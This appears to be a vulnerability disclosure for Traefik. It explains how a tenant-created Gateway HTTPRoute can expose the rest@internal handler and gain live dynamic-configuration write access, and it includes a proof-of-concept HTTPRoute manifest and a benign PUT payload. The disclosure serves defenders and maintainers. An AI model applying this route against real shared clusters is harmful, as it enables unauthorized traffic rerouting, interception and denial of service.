Summary

When the Kubernetes Gateway API provider is enabled, Traefik accepts any TraefikService backend whose name ends with @internal. This allows a tenant-controlled HTTPRoute to publish rest@internal.

If providers.rest is enabled, this exposes Traefik's REST provider handler even when providers.rest.insecure=false, even though providers.rest.insecure=false is meant to keep the REST handler from being exposed by Traefik's built-in internal router. In a shared Gateway deployment, an actor with permission to create or update HTTPRoute resources in an allowed namespace can gain live Traefik dynamic-configuration write access through PUT /api/providers/rest.

Details

The Gateway provider treats internal services broadly rather than allowing only a specific internal target.

In current master, pkg/provider/kubernetes/gateway/kubernetes.go defines isInternalService(...) as any TraefikService reference whose name ends with @internal.

Then pkg/provider/kubernetes/gateway/httproute.go special-cases a single backend reference that matches isInternalService(...) and directly assigns router.Service = string(routeRule.BackendRefs[0].Name).

This means a tenant route can target not only api@internal, but also rest@internal and other internal handlers.

Separately, the REST provider handler is created whenever the REST provider is enabled. In pkg/server/service/managerfactory.go, if staticConfiguration.Providers.Rest != nil, Traefik sets factory.restHandler = staticConfiguration.Providers.Rest.CreateRouter().

The REST provider handler itself is implemented in pkg/provider/rest/rest.go and accepts PUT /api/providers/{provider}.

The providers.rest.insecure flag does not disable the underlying handler. In pkg/provider/traefik/internal.go, that flag only controls whether Traefik creates its own built-in internal router for rest@internal. Even when providers.rest.insecure=false, Traefik still registers the rest service object, and the service layer can still resolve rest@internal if another provider routes to it.

I validated this locally in two tests:

1. the Gateway route-building path accepts rest@internal as an internal backend through the same special-case branch used for api@internal
2. the service layer builds and serves rest@internal successfully when providers.rest is enabled and providers.rest.insecure=false

The vulnerable code path is present in:

• v3.0.0
• v3.6.7
• v2.11.0
• v2.11.36
• current master at 786f7192e11878dfaa634f8263bf79bb730a71cb

I verified the issue in v3.0.0, v3.6.7, v2.11.0, v2.11.36, and current master; the reported affected ranges reflect the maintained release lines checked during validation

I did not find a public Traefik advisory or CVE for this exact issue. The closest public overlap I found is the documented/tested Gateway support for api@internal, but the issue here is broader because the Gateway code accepts any @internal TraefikService, including the write-capable rest@internal handler.

Expected behavior

providers.rest.insecure=false should prevent low-privileged route authors from exposing the REST provider handler.

Actual behavior

A tenant-controlled Gateway route can still publish rest@internal and reach the REST update API.

Attacker prerequisites

• The Kubernetes Gateway API provider is enabled.
• providers.rest=true.
• providers.rest.insecure=false.
• A shared Gateway allows tenant namespaces to attach HTTPRoute resources.
• The attacker can create or update HTTPRoute resources in an allowed tenant namespace.

PoC

1. Configure Traefik so that the Kubernetes Gateway provider is enabled, the REST provider is enabled, and the REST provider is not exposed insecurely.

Example static configuration:

providers:
  kubernetesGateway: {}
  rest:
    insecure: false

2. Ensure a shared Gateway allows tenant HTTPRoute attachment.

3. In an allowed tenant namespace, create an HTTPRoute whose backend points to rest@internal:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: expose-rest-internal
  namespace: tenant-a
spec:
  parentRefs:
    - name: shared-gateway
      namespace: infra
  hostnames:
    - rest.tenant.example
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /
      backendRefs:
        - group: traefik.io
          kind: TraefikService
          name: rest@internal
          port: 80

4. Send a PUT request through that published route to /api/providers/rest with a valid dynamic configuration body. A harmless proof can add a dummy router pointing to noop@internal.

Example request body:

{
  "http": {
    "routers": {
      "probe": {
        "rule": "PathPrefix(`/probe`)",
        "service": "noop@internal",
        "ruleSyntax": "default"
      }
    }
  }
}

5. Observe that Traefik accepts the update and applies the supplied dynamic configuration, even though providers.rest.insecure=false.

Impact

This is an authorization / trust-boundary bypass affecting shared Gateway deployments.

On affected deployments, an actor who should only be able to create or update HTTPRoute objects can escalate to live Traefik dynamic-configuration write access. That can allow unauthorized reconfiguration of routers and services, publication of additional internal surfaces, request interception or rerouting, and denial of service through destructive config changes.

On affected deployments, this gives a low-privileged Gateway route author live Traefik dynamic-configuration write access. This is critical for affected shared Gateway deployments because it can give a low-privileged route author live Traefik dynamic-configuration write access, but it depends on providers.rest being enabled.

This is not an unauthenticated vulnerability in all Traefik deployments. The issue depends on realistic but specific conditions:

• providers.rest must be enabled
• the attacker must be allowed to attach HTTPRoute resources to a shared Gateway